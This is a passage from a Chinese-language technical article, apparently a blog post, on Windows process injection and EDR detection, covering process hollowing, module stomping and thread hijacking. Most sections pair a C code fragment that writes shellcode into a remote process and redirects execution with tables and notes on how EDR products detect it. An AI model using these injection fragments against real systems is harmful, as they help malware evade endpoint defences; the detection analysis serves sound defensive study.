leaf=""><br/></span><span leaf="">ResumeThread(pi.hThread);</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">进程镂空 EDR 检测分析：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">检测维度</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">检测方式</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">有效性</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内存映像不匹配</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">对比磁盘PE与内存映像哈希</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">映像被替换后哈希不匹配</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">NtUnmapViewOfSection</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">监控对合法映像的Unmap操作</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">极少合法程序会Unmap自身映像</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">线程起点验证</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">检查主线程入口是否在映像范围内</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★★</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">入口点偏移与PE头不匹配</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">内存属性变更</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">监控RWX分配+SetContext组合</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">★★★★☆</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;text-align: left;"><p><span leaf="">操作序列构成注入模式</span></p></td></tr></tbody></table></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.7.3 模块镂空（Module Stomping / DLL Hollowing）</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">将 Shellcode 写入远程进程中已加载 DLL 的代码段（.text section），</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">不分配新内存区域</span></strong><span leaf="">，不会触发&#34;未支持的内存&#34;检测，内存扫描时该区域仍关联到合法 DLL 模块。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 1. 在远程进程加载无害DLL (如version.dll) 作为宿主</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 2. 枚举远程进程模块, 定位宿主DLL基地址</span></span><span leaf=""><br/></span><span leaf="">HMODULE hRemoteDll = FindRemoteModule(hProcess, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;version.dll&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 3. 解析PE头定位.text段, 覆盖为shellcode</span></span><span leaf=""><br/></span><span leaf="">PIMAGE_SECTION_HEADER pTextSection = GetSectionHeader(hRemoteDll, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;.text&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">PVOID pRemoteText = (BYTE*)hRemoteDll + pTextSection-&gt;VirtualAddress;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 4. 修改属性→写入→恢复属性</span></span><span leaf=""><br/></span><span leaf="">DWORD oldProtect;</span><span leaf=""><br/></span><span leaf="">VirtualProtectEx(hProcess, pRemoteText, size, PAGE_EXECUTE_READWRITE, &amp;oldProtect);</span><span leaf=""><br/></span><span leaf="">WriteProcessMemory(hProcess, pRemoteText, shellcode, size, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">VirtualProtectEx(hProcess, pRemoteText, size, oldProtect, &amp;oldProtect);</span></code></pre><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">检测局限</span></strong><span leaf="">：不会产生 VirtualAllocEx 分配的&#34;孤立内存&#34;，但 EDR 可通过 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">DLL 内容完整性校验</span></strong><span leaf="">（对比磁盘与内存 .text 段哈希）检测到篡改。</span></p></blockquote><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: block;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;text-align: left;font-weight: bold;display: block;"><span leaf="">2.7.4 线程劫持（Thread Hijacking）</span></span></h4><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">挂起目标进程的现有线程，修改其执行上下文（RIP）来执行 shellcode。</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">不调用 CreateRemoteThread</span></strong><span leaf="">，减少了一个强检测信号。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 1. 在目标进程分配内存(RW)→写入shellcode→改属性(RX)</span></span><span leaf=""><br/></span><span leaf="">PVOID pRemote = VirtualAllocEx(hProcess, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">, size, MEM_COMMIT, PAGE_READWRITE);</span><span leaf=""><br/></span><span leaf="">WriteProcessMemory(hProcess, pRemote, shellcode, size, </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">VirtualProtectEx(hProcess, pRemote, size, PAGE_EXECUTE_READ, &amp;oldProtect);</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 2. 枚举线程→挂起→修改RIP→恢复</span></span><span leaf=""><br/></span><span leaf="">HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT, FALSE, threadId);</span><span leaf=""><br/></span><span leaf="">SuspendThread(hThread);</span><span leaf=""><br/></span><span leaf="">CONTEXT ctx = { .ContextFlags = CONTEXT_FULL };</span><span leaf=""><br/></span><span leaf="">GetThreadContext(hThread, &amp;ctx);</span><span leaf=""><br/></span><span leaf="">ctx.Rip = (DWORD64)pRemote;</span><span leaf=""><br/></span><span leaf="">SetThreadContext(hThread, &amp;ctx);</span><span leaf=""><br/></span><span leaf="">ResumeThread(hThread);</span></code></pre><blockquote style="margin-top: 20px;margin-bottom: 20px;margin-left: 0px;margin-right: 0px;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 0px;display: block;overflow-x: auto;overflow-y: auto;"><p style="text-indent: 0em;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;margin-left: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">局限</span></strong><span leaf="">：SuspendThread + SetThreadContext 组合已被 EDR 视为可疑模式；线程恢复后 RIP 不在任何合法模块范围内。</span></p></blockquote><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">进程注入技术对比：</span></strong></p><p data-tool="mdnice编辑器" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;overflow-x: auto;"><table style="display: table;text-align: left;"><thead><tr><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">注入方式</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">关键API</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 0px;padding: 5px 10px;min-width: 85px;text-align: left;"><p><span leaf="">隐蔽性</span></p></th><th style="color: rgb(0, 0, 0);font-size: 16px;line-height: 1.5em;letter-spacing: 0em;font-weight: bold;background: none left top / auto no-repeat scroll padding-box border-box rgb(240, 240, 240);height: auto;border-style: solid;border-width: 1px;border-color: rgba(204, 204, 204, 0.4);border-radius: 